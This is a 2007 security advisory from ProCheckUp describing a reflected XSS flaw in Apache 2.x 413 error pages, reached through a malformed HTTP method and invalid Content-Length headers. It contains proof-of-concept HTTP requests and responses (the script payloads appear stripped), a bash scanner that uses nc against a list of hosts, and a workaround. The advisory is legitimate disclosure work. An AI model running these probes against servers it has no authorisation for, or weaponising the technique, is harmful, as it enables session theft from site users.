PR07-37: XSS on Apache HTTP Server 413 error pages via malformed HTTP method=0D
=0D
=0D
Vulnerability found: 7 November 2007=0D
=0D
Vendor contacted: 14 November 2007=0D
=0D
Risk factor: N/A =0D
=0D
The reason why we didn't consider this vulnerability a security risk is because the attacker needs to force the victim's browser to submit a malformed HTTP method. =0D
=0D
Header injection has been demonstrated to be possible using Flash [1] [2], but might be dependent on vulnerable Flash plugins.=0D
=0D
A relevant example published in the past is exploiting the Apache 'Expect' XSS [3] (CVE-2006-3918) using flash [4].=0D
=0D
However, in this case we need to spoof the HTTP METHOD to a specially-crafted value.=0D
=0D
=0D
Description: =0D
=0D
It is possible to cause Apache HTTP server to return client-supplied scripting code by submitting a malformed HTTP method which would actually carry the payload (i.e.: malicious JavaScript) and invalid length data in the form of either of the following:=0D
=0D
 Two 'Content-length:' headers equals to zero. i.e.: "Content-Length: 0[LF]Content-Length: 0"=0D
 One 'Content-length:' header equals to two values. i.e.: "Content-length: 0, 0"=0D
 One 'Content-length:' header equals to a negative value. i.e.: "Content-length: -1"=0D
 One 'Content-length:' header equals to a large value. i.e.: "Content-length: 9999999999999999999999999999999999999999999999"=0D
=0D
=0D
Apache 2.X returns a '413 Request Entity Too Large' error, when submitting invalid length data. When probing for XSS on the error page returned by the server we have 3 possible string vectors:=0D
=0D
 The 'Host:' header=0D
 The URL=0D
 The HTTP method=0D
=0D
If we probe for XSS using the 'Host:' header, Apache correctly filters the angle brackets and replaces them with HTML entities:=0D
=0D
REQUEST:=0D
=0D
GET / HTTP/1.1=0D
Host: =0D
Connection: close=0D
Content-length: -1=0D
[LF]=0D
[LF]=0D
=0D
=0D
SERVER'S REPONSE:=0D
=0D
HTTP/1.1 413 Request Entity Too Large=0D
Date: Fri, 30 Nov 2007 12:40:19 GMT=0D
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6=0D
Connection: close=0D
Content-Type: text/html; charset=iso-8859-1=0D
=0D
=0D
=0D
=0D
=0D
Request Entity Too Large
=0D
The requested resource
/
=0D
does not allow request data with GET requests, or the amount of data provided in=0D
the request exceeds the capacity limit.=0D
=0D
Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at <badchars> Port 80
=0D
=0D
=0D
=0D
Notice that '' gets replaced with '<badchars>'=0D
=0D
If we probe for XSS using the URL, Apache ALSO correctly filters the angle brackets and replaces them with HTML entities:=0D
=0D
REQUEST:=0D
=0D
GET // HTTP/1.1=0D
Host: target-domain.foo=0D
Connection: close=0D
Content-length: -1=0D
[LF]=0D
[LF]=0D
=0D
=0D
SERVER'S RESPONSE:=0D
=0D
HTTP/1.1 413 Request Entity Too Large=0D
Date: Fri, 30 Nov 2007 12:41:17 GMT=0D
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6=0D
Connection: close=0D
Content-Type: text/html; charset=iso-8859-1=0D
=0D
=0D
=0D
=0D
=0D
Request Entity Too Large
=0D
The requested resource
/<BADCHARS>/
=0D
does not allow request data with GET requests, or the amount of data provided in=0D
the request exceeds the capacity limit.=0D
=0D
Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80
=0D
=0D
=0D
=0D
Again, '' gets replaced with '<badchars>'=0D
=0D
=0D
However, if we probe for XSS using a malformed HTTP method, the angle brackets are NOT replaced with HTML entities:=0D
=0D
=0D
REQUEST:=0D
=0D
 / HTTP/1.1=0D
Host: target-domain.foo=0D
Connection: close=0D
Content-length: -1=0D
[LF]=0D
[LF]=0D
=0D
=0D
SERVER'S RESPONSE:=0D
=0D
HTTP/1.1 413 Request Entity Too Large=0D
Date: Fri, 30 Nov 2007 12:42:46 GMT=0D
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6=0D
Connection: close=0D
Content-Type: text/html; charset=iso-8859-1=0D
=0D
=0D
=0D
=0D
=0D
Request Entity Too Large
=0D
The requested resource
/
=0D
does not allow request data with  requests, or the amount of data provided in=0D
the request exceeds the capacity limit.=0D
=0D
Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80
=0D
=0D
=0D
=0D
=0D
The following script could be used to audit your network for vulnerable web servers:=0D
=0D
#!/bin/bash=0D
# PR07-37-scan=0D
if [ $# -ne 1 ]=0D
then=0D
        echo "$0 "=0D
        exit=0D
fi=0D
=0D
for i in `cat $1`=0D
do=0D
=0D
if echo -en " / HTTP/1.1\nHost: $i\nConnection: close\nContent-length: 0\nContent-length: 0\n\n" | nc -w 4 $i 80 | grep -i '' > /dev/null=0D
then=0D
        echo "$i is VULNERABLE!"=0D
fi=0D
=0D
done=0D
=0D
=0D
Vulnerability successfully tested on (banners extracted from server headers):=0D
=0D
Server: Apache/2.0.46 (Red Hat)=0D
Server: Apache/2.0.51 (Fedora)=0D
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6=0D
Server: Apache/2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.7g=0D
Server: Apache/2.2.3 (FreeBSD) mod_ssl/2.2.3 OpenSSL/0.9.7e-p1 DAV/2=0D
Server: Apache/2.2.4 (Linux/SUSE)=0D
=0D
=0D
Note: other versions might also be vulnerable.=0D
=0D
=0D
Consequences: =0D
=0D
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e. session IDs) to unauthorised third parties provided that a web browser is tricked to submit a malformed HTTP method.=0D
=0D
=0D
Workaround:=0D
=0D
Disable Apache's default 413 error pages by adding   'ErrorDocument 413' statement to the Apache config file.=0D
=0D
=0D
References:=0D
=0D
http://www.procheckup.com/Vulnerability_2007.php=0D 
=0D
[1] "Forging HTTP request headers with Flash"=0D
http://archives.neohapsis.com/archives/bugtraq/2006-07/0425.html=0D 
=0D
[2] "HTTP Header Injection Vulnerabilities in the Flash Player Plugin"=0D
http://download2.rapid7.com/r7-0026/=0D 
=0D
[3] "Unfiltered Header Injection in Apache 1.3.34/2.0.57/2.2.1"=0D
http://www.securityfocus.com/archive/1/433280=0D 
=0D
[4] "More Expect Exploitation In Flash"=0D
http://ha.ckers.org/blog/20071103/more-expect-exploitation-in-flash/=0D 
=0D
=0D
Credits: Adrian Pastor and Amir Azam of ProCheckUp Ltd (www.procheckup.com).=0D 
=0D
Special thanks go to Amit Klein and Joe Orton for providing such valuable feedback.=0D